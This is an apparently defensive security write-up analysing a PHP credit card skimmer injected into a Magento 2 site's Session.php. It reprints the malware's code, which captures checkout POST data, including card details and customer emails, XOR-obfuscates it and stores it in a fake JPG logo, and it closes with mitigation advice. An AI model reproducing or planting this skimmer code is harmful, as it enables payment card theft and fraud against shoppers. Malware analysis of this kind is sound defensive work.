Magento 2 PHP Credit Card Skimmer Saves to JPG

Magento 2 PHP Credit Card Skimmer Saves to JPG : Bad actors often leverage creative techniques to conceal malicious behaviour and harvest sensitive information from ecommerce websites.

A recent investigation for a compromised Magento 2 website revealed a malicious injection that was capturing POST request data from site visitors. Located on the checkout page, it was found to encode captured data before saving it to a .JPG file.

Malicious Injection Behavior
The following PHP code was found injected to the file ./vendor/magento/module-customer/Model/Session.php. To load the rest of the malicious code onto the compromised environment, the getAuthenticates function is created and called.


public function getAuthenticates($request)
{
if(empty($request->getPostValue(‘Custom’.’Method’)))
return $this;
$docroot = BP . “/”;
$sid = $request->getPostValue(‘Custom’.’Method’);
if($sid != ‘init’ && $sid != ‘LnByg’ && $sid != ‘LnByd’) return $this;

The code also creates the image file (pub/media/tmp/design/file/default_luma_logo.jpg), which it uses to store any captured data. This feature allows the attacker to easily access and download the stolen information at their convenience while concealing it within a seemingly benign JPG.

$docroot = BP . “/”;
$sid = $request->getPostValue(‘Custom’.’Method’);
if($sid != ‘init’ && $sid != ‘LnByg’ && $sid != ‘LnByd’) return $this;
$fname = $docroot.’pub/media/tmp/design/file/default_luma_logo.jpg’;
try {
if(!file_exists($fname)){
$fhandle = fopen($fname,’w’);fclose($fhandle);
}
$fhandle = fopen($fname,’r’);$content = @fread($fhandle,filesize($fname));fclose($fhandle);

Harvesting Stolen Credit Card Details
To successfully capture the POST data, the PHP code needs to use the Magento code framework. It relies on the Magento function getPostValue to capture the checkout page data within the Customer_ POST parameter.

Using the Magento function isLoggedIn, the PHP code also checks whether the victim that sent the POST request data is logged in as a user. If they do happen to be logged in, it captures the user’s email address.

if( !empty($request-> getPostValue (‘Customer_’))) {
$auth_url = “”;
if($this->isLoggedIn()) {
$auth_url = base64_encode (
$this -> getCustomer() -> getEmail ()
);
}

This captured POST data is encoded with base64 before the PHP operator ^ is used to XOR the stolen information, saving it to the same image file.

$objectdata = $request->getPostValue(‘Customer_’).’#’.base64_encode($ip).’#’.$auth_url;
$i = 0; while($i < strlen($objectdata)){
$txCH = ord($objectdata[$i]);$txCH ^= 0x3C;$txCH -= $i;$objectdata[$i++] = chr($txCH); }
$objectdata = base64_encode($objectdata);
if(strpos($content,$objectdata)===false) {
$fhandle = fopen($fname,’a’);fwrite($fhandle,$objectdata.”\n”);fclose($fhandle);}
return $this;

Nearly all of the information submitted by the victim on the checkout page is stored within the Customer_ parameter, including full names and addresses, payment card details, telephone numbers, and user agent details.

This data is extremely valuable for the attacker. Not only can it be used for credit card fraud, but also spam or targeted phishing campaigns.

Conclusion & Mitigation Steps
Bad actors are always actively searching for new methods to prevent any detection of their malicious behavior on compromised websites. The creative use of the fake .JPG allows an attacker to conceal and store harvested credit card details for future use without gaining too much attention from the website owner.

While this approach may make the infection difficult to initially spot, website owners who implement website monitoring services or integrity control checks will have a much easier time detecting changes or additional new files in their environment.